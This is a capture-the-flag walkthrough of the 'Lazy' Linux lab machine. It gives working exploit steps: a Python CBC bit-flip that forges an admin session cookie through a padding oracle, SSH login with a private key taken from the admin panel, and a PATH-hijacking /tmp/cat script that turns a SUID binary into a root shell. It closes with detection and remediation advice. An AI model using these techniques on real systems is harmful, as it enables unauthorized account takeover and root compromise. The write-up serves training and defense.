Overview
Lazy is a medium-rated Linux box running a custom PHP web application on
Ubuntu 14.04 (32-bit). The application implements its own authentication
system using an 8-byte block cipher in CBC mode to encrypt session cookies. The
server returns “Invalid padding” for malformed cookies: a textbook padding
oracle. Combined with a CBC bit-flipping attack, an attacker can escalate from
a self-registered account to the admin account with a single byte
modification to the cookie.
The admin panel contains a link to an SSH private key for user mitsos. A
custom SUID binary in that user’s home directory calls system("cat /etc/shadow")
with a relative path to cat. Prepending /tmp to PATH and placing a
malicious cat script there provides immediate root-level command execution.
The box is a clean demonstration of two distinct vulnerability classes: cryptographic implementation flaws and Unix privilege escalation fundamentals. Neither requires a CVE; both exploit design decisions that are wrong in well-understood ways.
Reconnaissance
nmap -sC -sV -T4 10.129.19.153
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 | Ubuntu 14.04 banner |
| 80 | HTTP | Apache 2.4.7 (Ubuntu) | “CompanyDev” homepage |
Two services. SSH 6.6.1p1 is old but rarely the initial access vector. The
web application is the primary target. Response headers reveal
PHP/5.5.9-1ubuntu4.21.
The homepage presents two links: /login.php and /register.php. After
registration, the authenticated area shows only the username and a logout link.
The application is deliberately sparse; the interesting behaviour is in the
authentication mechanism itself.
Attack Surface Analysis
Cookie structure analysis
To understand the encryption scheme, I register accounts with different username lengths and compare cookie sizes:
| Username (length) | Plaintext | Cookie size (bytes) |
|---|---|---|
| a (1) | user=a (6 bytes) | 16 |
| test (4) | user=test (9) | 24 |
| testuser1 (9) | user=testuser1 (14) | 24 |
| testtesttesttest (16) | user=testtesttesttest (21) | 32 |
Ciphertext size increases in 8-byte increments: this confirms an 8-byte block cipher (DES or Blowfish) in CBC mode with PKCS7 padding and an 8-byte IV prepended to the ciphertext.
Padding oracle discovery
Testing the application’s response to invalid cookies:
No cookie: 1117 bytes (homepage with login links)
Valid cookie: 983 bytes (authenticated page)
Invalid base64: 15 bytes ("Invalid padding")
Truncated cookie: 15 bytes ("Invalid padding")
Bit-flipped cookie: 15 bytes ("Invalid padding")
The server explicitly returns “Invalid padding” when CBC decryption produces incorrect PKCS7 padding. This is a padding oracle: the error message allows an attacker to determine whether a given ciphertext produces valid padding after decryption, one byte at a time. This violates a fundamental cryptographic principle: decryption oracles must never reveal padding validity.
SQL error disclosure
Registering the username “admin” returns a raw MySQL error:
Duplicate entry 'admin' for key 'PRIMARY'
This confirms: the admin user exists, the database is MySQL, and error
messages are not sanitised.
Vulnerability Analysis
Padding oracle cookie forgery (CWE-649)
| Attribute | Value |
|---|---|
| CWE | CWE-649 (Reliance on Obfuscation or Encryption with No Integrity Check) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Server leaks padding validity through distinct error message |
| Impact | Decrypt any cookie; forge cookies for arbitrary usernames |
A padding oracle allows two attacks. First, full decryption: an attacker can recover the plaintext of any ciphertext block by testing 256 values per byte. Second, encryption: an attacker can forge ciphertexts that decrypt to arbitrary plaintexts (256 * blocksize requests per block).
However, for this box, neither full attack is necessary. CBC bit-flipping is faster.
CBC bit-flipping (CWE-353)
In CBC mode, flipping a bit in ciphertext block C(i-1) flips the corresponding bit in plaintext block P(i), because P(i) = D(C(i)) XOR C(i-1). If the attacker knows (or can guess) the plaintext, a single byte XOR forges a new plaintext value.
The attack requires the plaintext format. Padding oracle decryption reveals it:
user=<username>.
SUID PATH hijacking (CWE-426)
| Attribute | Value |
|---|---|
| CWE | CWE-426 (Untrusted Search Path) |
| CVSS 3.1 | 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| Root cause | SUID binary calls system("cat /etc/shadow") with relative path |
| Impact | Arbitrary command execution as root |
The system() function invokes /bin/sh -c "cat /etc/shadow". Because cat
is a relative path, the shell resolves it via the PATH environment variable.
An attacker who controls PATH substitutes a malicious cat.
Exploitation
Step 1: Padding oracle decryption
A custom Python script iterates over each byte in each ciphertext block, testing all 256 values against the oracle:
Cookie for 'testuser1' (24 bytes, 3 blocks):
Block 1 plaintext: user=tes
Block 2 plaintext: tuser1\x02\x02
Full plaintext: user=testuser1
This confirms the format: user=<username>.
Step 2: CBC bit-flipping to forge admin cookie
Rather than the slow padding oracle encryption (2048 requests per block), I
use a one-request CBC bit-flip. I register a user named bdmin (differs from
admin at byte position 5: 0x62 vs 0x61). The cookie encrypts
user=bdmin.
XOR byte 5 of the IV with 0x62 XOR 0x61 = 0x03 to flip b to a:
import base64
cookie_b64 = '+3WEHUrK1ItAs3agqlvyF0kQ0BLFF89C'
raw = bytearray(base64.b64decode(cookie_b64))
# Flip byte 5 of IV: 'b' (0x62) -> 'a' (0x61)
raw[5] ^= 0x03
forged = base64.b64encode(bytes(raw)).decode()
Verification:
curl -s -b "auth=+3WEHUrJ1ItAs3agqlvyF0kQ0BLFF89C" \
http://10.129.19.153/index.php | grep "logged in"
# You are currently logged in as admin!
Admin access with a single cookie byte modification. No brute-force, no password, no SQL injection.
Step 3: SSH key from admin panel
The admin panel contains a message to a colleague with a link to a downloadable RSA private key:
Tasos this is my ssh key, just in case, if you ever want
to login and check something out.
curl -s http://10.129.19.153/mysshkeywithnamemitsos > mitsos_key
chmod 600 mitsos_key
ssh -i mitsos_key -o PubkeyAcceptedKeyTypes=+ssh-rsa \
-o HostKeyAlgorithms=+ssh-rsa [email protected]
mitsos@LazyClown:~$ cat /home/mitsos/user.txt
# [redacted]
The RSA key required legacy algorithm negotiation because OpenSSH 6.6.1p1 predates SHA-2 RSA signature support. Modern OpenSSL 3.x defaults reject SHA-1 RSA signing.
Step 4: SUID PATH hijacking
ls -la /home/mitsos/backup
# -rwsrwsr-x 1 root root 7303 May 3 2017 /home/mitsos/backup
strings /home/mitsos/backup | grep cat
# cat /etc/shadow
The binary calls system("cat /etc/shadow") with cat as a relative path:
printf '#!/bin/sh\n/bin/cat /root/root.txt\n' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/home/mitsos/backup
# [redacted]
Root flag captured. For a full root shell:
printf '#!/bin/sh\n/bin/bash -p\n' > /tmp/cat
/home/mitsos/backup
# root@LazyClown:~#
Post-Exploitation
uname -a
# Linux LazyClown 4.4.0-31-generic #50~14.04.1 i686 GNU/Linux
id
# uid=1000(mitsos) gid=1000(mitsos)
# groups=1000(mitsos),4(adm),24(cdrom),27(sudo)
32-bit Ubuntu 14.04.4 with kernel 4.4.0-31. The mitsos user is in the sudo
group but no password was recovered for sudo authentication. The kernel is
vulnerable to DirtyCow (CVE-2016-5195, patched at 4.4.26) and CVE-2016-9793,
providing alternative escalation paths.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | Burst of registration requests with varying username lengths |
| Initial access | T1606.001 | Forged admin cookie from IP that never authenticated as admin |
| Credential access | T1552.004 | HTTP download of private key file |
| Privilege escalation | T1574.007 | PATH modification followed by SUID binary execution |
Network-level: The padding oracle attack generates hundreds of requests with modified cookies, each receiving either a 15-byte or 983-byte response. This binary response pattern is detectable. Rate limiting on authentication endpoints would slow the attack significantly.
Host-level: auditd rules on PATH modifications combined with SUID binary
execution would catch the privilege escalation. The backup binary spawning
an unexpected child process (/tmp/cat instead of /bin/cat) is a
high-fidelity detection.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Replace custom crypto with a standard session library | Medium | Critical |
| P0 | Remove SSH key from web-accessible path | Low | Critical |
| P0 | Rewrite backup binary to use absolute path for cat | Low | Critical |
| P1 | Return generic errors for all authentication failures | Low | High |
| P1 | Add HMAC to cookies (encrypt-then-MAC) | Medium | High |
| P2 | Remove SQL error messages from user-facing responses | Low | Medium |
| P2 | Upgrade Ubuntu 14.04 to a supported release | High | Medium |
| P3 | Remove X-Powered-By header | Low | Low |
The padding oracle exists because the application implements its own
cryptographic session management. This is almost always wrong. Use the
language runtime’s built-in session handling (PHP’s session_start() with
server-side session storage) instead of encrypting data in client-side cookies.
If client-side tokens are required, use authenticated encryption (AES-GCM or
encrypt-then-MAC with HMAC-SHA256). Never expose padding validity through
error messages.
The SUID binary fix is trivial: use /bin/cat instead of cat. Better still,
read the file directly in C with open()/read() and drop the system()
call entirely. Any SUID binary that calls system() is inherently dangerous
because system() invokes a shell, which respects PATH, IFS, and other
environment variables.
Key Takeaways
-
Padding oracles are not theoretical. The “Invalid padding” response on this box is a textbook example of Vaudenay’s 2002 attack. Real-world equivalents include ASP.NET’s
ScriptResource.axdpadding oracle (CVE-2010-3332) and various JWT implementations. Any system that reveals padding validity through timing, error messages, or response content is vulnerable. -
CBC bit-flipping is faster than full padding oracle encryption. When the plaintext format is known and only one byte needs to change, a single XOR on the IV or preceding ciphertext block forges the desired plaintext. Register
bdmin, flip one bit, becomeadmin. No brute-force required. -
SUID binaries that call
system()with relative paths are root shells. This is one of the most reliable Linux privilege escalation patterns. The fix is absolute paths; the real fix is not usingsystem()at all in SUID binaries. GTFOBins catalogues dozens of binaries exploitable through PATH hijacking. Always checkstringsoutput on custom SUID binaries for relative command references.